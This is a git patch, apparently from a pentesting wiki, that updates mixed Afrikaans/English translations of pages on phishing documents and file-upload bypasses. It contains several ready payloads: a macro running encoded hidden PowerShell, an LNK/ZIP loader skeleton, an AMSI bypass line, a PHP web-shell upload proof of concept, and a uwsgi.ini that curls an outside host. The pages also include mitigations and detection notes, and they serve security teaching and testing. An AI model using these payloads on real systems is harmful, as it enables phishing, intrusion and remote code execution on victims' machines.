From 1b0580c36bd463f4a1b5584de11ff3ac909b4b88 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 04:37:47 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/windows --- .../phishing-documents.md | 80 +++---- src/pentesting-web/file-upload/README.md | 206 ++++++++++-------- .../ntlm/places-to-steal-ntlm-creds.md | 63 +++++- .../roguepotato-and-printspoofer.md | 49 +++-- 4 files changed, 243 insertions(+), 155 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 97a5f4e16..432e44f9d 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,25 +1,25 @@ -# Phishing Lêers & Dokumente +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} -## Office Dokumente +## Office-dokumente -Microsoft Word voer lêerdata-validasie uit voordat 'n lêer oopgemaak word. Datavalidasie word uitgevoer in die vorm van datastruktuur-identifikasie, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die datastruktuur-identifikasie, sal die lêer wat ontleed word nie oopgemaak word nie. +Microsoft Word voer lêerdata-validering uit voordat 'n lêer geopen word. Data-validering word uitgevoer in die vorm van data-struktuur-identifikasie, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die data-struktuur-identifikasie, sal die lêer wat ontleed word nie geopen word nie. -Dikwels gebruik Word-lêers wat macros bevat die `.docm`-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul vermoë om macros uit te voer te behou.\ -Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, per ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en in staat wees om macros uit te voer.\ -Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint ens.). +Gewoonlik gebruik Word-lêers wat macros bevat die `.docm` uitbreiding. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\ +Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, by ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en sal in staat wees om macros uit te voer.\ +Dieselfde interne strukture en meganismes geld vir alle sagteware in die Microsoft Office Suite (Excel, PowerPoint etc.). -Jy kan die volgende kommando gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word: +Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX-lêers wat na ’n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat macros bevat, kan ook macros “execute”. +DOCX-lêers wat na 'n remote template verwys (File –Options –Add-ins –Manage: Templates –Go) wat macros bevat, kan ook macros uitvoer. -### Eksterne prentlading +### Eksterne Image Load -Gaan na: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever +Go to: _Insert --> Quick Parts --> Field_\ +_**Kategorieë**: Skakels en Verwysings, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -27,14 +27,14 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi Dit is moontlik om macros te gebruik om arbitrêre kode vanaf die dokument uit te voer. -#### Autoload funksies +#### Autoload-funksies -Hoe meer algemeen dit is, hoe groter die kans dat die AV dit sal opspoor. +Hoe meer algemeen dit is, hoe groter die waarskynlikheid dat AV dit sal opspoor. - AutoOpen() - Document_Open() -#### Macros Kode Voorbeelde +#### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Manually remove metadata +#### Handmatig metadata verwyder Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector oopmaak. Klik **Inspect** en dan **Remove All** langs **Document Properties and Personal Information**. #### Doc Extension -Wanneer jy klaar is, kies die **Save as type**-afrolmenu, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\ -Doen dit omdat jy **nie macro's in ` .docx` kan stoor nie** en daar 'n **stigma** is **rondom** die macro-aktiwiteite **`.docm`** uitbreiding (bv. die duimnael-ikoon het 'n groot `!` en sommige web/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromie**. +Wanneer klaar, kies die **Save as type** aftreklys en verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\ +Doen dit omdat jy **can't save macro's inside a `.docx`** en daar 'n **stigma** is **around** die macro-enabled **`.docm`** uitbreiding (bv. die miniatuurikoon het 'n groot `!` en sommige web/email-gateways blokkeer hulle heeltemal). Daarom is hierdie **legacy `.doc` extension is the best compromise**. -#### Kwaadaardige Macro Generators +#### Kwaadwillige Macro-generatoren - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## HTA-lêers -'n HTA is 'n Windows-program wat **HTML en skriptaal tale kombineer (soos VBScript en JScript)**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel. +'n HTA is 'n Windows-program wat **HTML en skripprogrammeertale (soos VBScript en JScript) kombineer**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n volledig vertroude toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel. -'n HTA word uitgevoer met **`mshta.exe`**, wat gewoonlik **geïnstalleer** is saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. As dit dus verwyder is, sal HTA's nie uitgevoer kan word nie. +'n HTA word uitgevoer met behulp van **`mshta.exe`**, wat gewoonlik **installed** is saam met **Internet Explorer**, wat **`mshta` dependant on IE** maak. As dit verwyder is, sal HTAs nie uitgevoer kan word nie. ```html <--! Basic HTA Execution --> @@ -138,9 +138,9 @@ var_func self.close ``` -## Dwing NTLM-outentisering +## Afdwing van NTLM Authentication -Daar is verskeie maniere om **NTLM-outentisering "op afstand"** af te dwing, byvoorbeeld, jy kan **onsigbare beelde** in e-posse of HTML voeg wat die gebruiker sal toegang hê (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat sal **trigger** 'n **outentisering** net vir **die opening van die gids.** +Daar is verskeie maniere om **dwing NTLM authentication "remotely" af**, byvoorbeeld, jy kan **onsigbare beelde** by e-posse of HTML invoeg wat die gebruiker sal laai (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **authentication** sal **trigger** slegs deur die gids te open. **Kyk na hierdie idees en meer op die volgende bladsye:** @@ -156,24 +156,24 @@ Daar is verskeie maniere om **NTLM-outentisering "op afstand"** af te dwing, byv ### NTLM Relay -Moet nie vergeet dat jy nie net die hash of die outentisering kan steel nie, maar ook **NTLM relay attacks** kan uitvoer: +Moet nie vergeet dat jy nie net die hash of die authentication kan steel nie, maar ook **voer NTLM relay attacks uit**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Baie effektiewe veldtogte lewer 'n ZIP wat twee legitieme lokaas-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ZIP se ruwe bytes ná 'n unieke merker gestoor is, en die .lnk dit uitkerf en heeltemal in geheue uitvoer. +Baie doeltreffende veldtogte lewer 'n ZIP wat twee regmatige lokdokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ZIP se rou bytes na 'n unieke merker gestoor word, en die .lnk dit uitsny en heeltemal in geheue uitvoer. Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner: -1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory. -2) Lees die ZIP-bytes en vind 'n hardcoded merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell payload. -3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en maak die lokaas .docx oop om legitiem te lyk. -4) Om AMSI vir die huidige proses te omseil: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuskeer die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit. +1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige werkgids. +2) Lees die ZIP bytes en vind 'n hardgecodeerde merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell payload. +3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en open die lok-.docx om legitiem voor te kom. +4) Omseil AMSI vir die huidige proses: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscate die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit. -Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer: +Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,23 +191,23 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Aantekeninge -- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads beperk (bedien goedaardige ZIPs op grond van IP/UA). -- Die volgende fase dekripteer dikwels base64/XOR-shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer. +- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads gate (bedien goedaardige ZIPs gebaseer op IP/UA). +- Die volgende fase ontsifer dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer. -Persistensie in dieselfde ketting -- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herbegin. Sien besonderhede en kant-en-klare opdragte hier: +Persistence used in the same chain +- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herbegin. Sien besonderhede en gereed-vir-gebruik opdragte hier: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Opsporing/IOCs -- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is. -- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak. +Hunting/IOCs +- ZIP files containing the ASCII marker string (bv. xFIQCV) wat aan die argiefdata aangeheg is. +- .lnk wat ouer-/gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak. - AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Langlopende sake-threads wat eindig met skakels aangebied onder betroubare PaaS-domeine. +- Langlopende besigheidsdrade wat eindig met skakels wat onder betroubare PaaS-domeine gehost word. -## Windows-lêers om NTLM-hashes te steel +## Windows-lêers om NTLM hashes te steel Kyk na die bladsy oor **plekke om NTLM creds te steel**: diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index c38344521..662cbf98d 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Omseil kontrole van lêeruitbreidings +### Omseil lêeruitbreidingskontroles -1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets dit ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._ -2. _Kontroleer **om 'n geldige extensie voor** die uitvoer-extensie by te voeg (gebruik ook die vorige extensies):_ +1. Indien van toepassing, **kontroleer** die **vorige extensies.** Toets dit ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._ +2. _Kontroleer **om 'n geldige extensie voor** die uitvoeringsextensie by te voeg (gebruik vorige extensies ook):_ - _file.png.php_ - _file.png.Php5_ -3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let wel dat jy ook kan probeer om die **eerder** genoemde **extensies** te gebruik_) +3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om **bruteforce** te doen op alle **ascii** en **Unicode** karakters. (_Let daarop dat jy ook die **vorige** genoemde **extensies** kan probeer gebruik_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Probeer om die beskermings te omseil deur die server-side se extensie-parser te mislei met tegnieke soos die **verdubbeling** van die **extensie** of deur **rommeldata** (null bytes) tussen extensies by te voeg. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._ +4. Probeer om die beskerming te omseil deur die ekstensie-parser aan die bedienerkant te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Voeg **nog 'n laag van extensies** by by die vorige toets: +5. Voeg **nog 'n laag extensies** by die vorige kontrole: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Probeer om die **uitvoerings-extensie voor die geldige extensie** te plaas en hoop die bediener verkeerd gekonfigureer is. (nuttig om Apache miskonfigurasies te benut waar enigiets met die uitbreiding .php, maar nie noodwendig wat eindig in .php nie, kode sal uitvoer): +6. Probeer om die uitvoer-extensie vóór die geldige ekstensie te plaas en hoop die server is verkeerd gekonfigureer. (nuttig om Apache misconfigurasies uit te buit waar enigiets met die ekstensie **.php**, maar nie noodwendig eindigend in .php nie, kode sal uitvoer): - _ex: file.php.png_ -7. Gebruik van **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval word 'n kolon karakter ":" ingevoeg na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later met ander tegnieke bewerk word, soos om sy kortlêernaam te gebruik. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n punt-karakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "file.asp::$data."). -8. Probeer om lêernaam-limiete te breek. Die geldige extensie word afgekap en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php +7. Gebruik NTFS alternate data stream (ADS) in Windows. In hierdie geval sal 'n dubbelepunt karakter ":" ingevoeg word na 'n verbode extensie en voor 'n toegelate een. Gevolglik sal 'n leë lêer met die verbode extensie op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later bewerk word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "file.asp::$data."). +8. Probeer om die lêernaamgrense te breek. Die geldige ekstensie word afgekap. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by: +Sommige upload handlers sny of normaliseer agtervoegende puntkarakters uit die gestoor lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy extensievalidering omseil deur: - Gebruik 'n geldige image MIME en magic header (bv. PNG se `\x89PNG\r\n\x1a\n`). - Noem die opgelaaide lêer met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`. -- Die bediener verwyder die trailing dot en stoor `shell.php`, wat sal uitvoer as dit in 'n web-bedienerde gids geplaas word (standaard public storage soos `/storage/files/`). +- Die bediener verwyder die agtervoegende punt en stoor `shell.php`, wat sal uitvoer as dit in 'n web-geserverde gids geplaas word (standaard publieke stoorplek soos `/storage/files/`). Minimal PoC (Burp Repeater): ```http @@ -80,66 +80,65 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -Roep dan die gestoorde pad aan (tipies in Laravel + LFM): +Gaan dan na die gestoorde pad (tipies in Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` -Mitigasies: +Versagtingsmaatreëls: - Opgradeer unisharp/laravel-filemanager na ≥ 2.9.1. -- Dwing streng server-side allowlists af en valideer die gestoorde bestandsnaam weer. +- Dwing streng server-side allowlists af en valideer die gepersisteerde bestandsnaam weer. - Bedien uploads vanaf nie-uitvoerbare liggings. ### Bypass Content-Type, Magic Number, Compression & Resizing -- Om **Content-Type** kontroles te omseil, stel die **value** van die **Content-Type** **header** op: _image/png_ , _text/plain , application/octet-stream_ +- Om **Content-Type**-kontroles te omseil, stel die **value** van die **Content-Type** **header** op: _image/png_, _text/plain_, application/octet-stream 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Om die **magic number** kontrole te omseil, voeg aan die begin van die lêer die **bytes of a real image** by (verwar die _file_ command). Of plaas die shell in die **metadata**:\ +- Om **magic number**-kontrole te omseil, voeg aan die begin van die lêer die **bytes of a real image** by (verwar die _file_ command). Of plaas die shell in die **metadata**:\ `exiftool -Comment="' >> img.png` -- As **compressie by jou image gevoeg word**, byvoorbeeld met standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**. +- As daar **kompressie by jou beeld gevoeg word**, byvoorbeeld deur standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat kompressie oorleef. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Die webblad kan ook die **image** hergroot, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**. +- Die webblad kan ook die **image** hergroot, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat kompressie oorleef. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Nog 'n tegniek om 'n payload te maak wat **'n image hergrooting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **compressie sal oorleef**. +- 'n Ander tegniek om 'n payload te maak wat 'n beeld-hergrooting oorleef, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat kompressie oorleef. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Ander truuks om te toets +### Other Tricks to check -- Soek 'n kwesbaarheid om die reeds opgelaaide lêer te **herbenoem** (om die uitbreiding te verander). -- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer. -- **Moontlike inligtingsopenbaring**: -1. Laai die **selfde lêer** **veelvuldige kere** op (en **tegelyk**) met dieselfde naam -2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **alreeds bestaan** -3. Oplaai 'n lêer met **"." , "..", of "…" as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in die "/www/uploads/" gids stoor, sal die "." lêernaam 'n lêer genaamd -uploads” in die "/www/" gids skep. +- Vind 'n swakheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander). +- Vind 'n **Local File Inclusion**-swakheid om die backdoor uit te voer. +- **Moontlike inligtingsontblootstelling**: +1. Laai **veral** dieselfde lêer **meerdere kere** (en terselfdertyd) met dieselfde naam op. +2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat reeds bestaan. +3. Laai 'n lêer op met **"." , "..", of "…" as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in die "/www/uploads/" gids stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep. 4. Laai 'n lêer op wat nie maklik uitgevee kan word nie, soos **"…:.jpg"** in **NTFS**. (Windows) -5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows) -6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer oopgemaak word. +5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows) +6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9. +- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat kode sal **uitvoer** wanneer dit per ongeluk deur 'n slagoffer oopgemaak word. -### Spesiale extensie truuks +### Special extension tricks -If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +As jy probeer om lêers na 'n **PHP server** op te laai, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +As jy probeer om lêers na 'n **ASP server** op te laai, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitgevoer met php, of ingesluit in 'n script...) +Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php-lêer** (dit met php uitvoer, of dit binne 'n skrip include...). -Die `.inc` uitbreiding word soms gebruik vir php-lêers wat slegs gebruik word om **lêers te importeer**, dus op 'n stadium kon iemand toegelaat het dat **hierdie uitbreiding uitgevoer word**. +Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net vir **import** gebruik word, so op 'n stadium kan iemand hierdie uitbreiding toegelaat het om uitgevoer te word. ## **Jetty RCE** -As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld vermeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell! +As jy 'n XML-lêer in 'n Jetty-server kan oplaai, kan jy [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende beeld genoem, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, sien die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI servers as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, placeholders, en operators in te sluit. Aanmerkend is die '@' operator, gebruik as `@(filename)`, wat ontwerp is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI, is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir bose doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. +Remote Command Execution (RCE) kwesbaarhede kan misbruik word op uWSGI-bedieners as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, plekhouers, en operateurs in te sluit. Veral die '@' operateur, gebruik as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. -Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer: +Besin oor die volgende voorbeeld van 'n skadelike `uwsgi.ini`-lêer, wat verskeie skemas demonstreer: ```ini [uwsgi] ; read from a symbol @@ -157,20 +156,20 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Die uitvoering van die payload vind plaas tydens die parsing van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te hê, moet die uWSGI-proses óf herbegin word (byvoorbeeld na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word. +Die uitvoering van die payload gebeur tydens die parsen van die konfigurasielêer. Om die konfigurasie te aktiveer en te parse, moet die uWSGI-proses óf herbegin word (bv. ná 'n crash of weens 'n Denial of Service-aanval) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, laai die lêer periodiek weer wanneer veranderinge opgespoor word. -Dit is 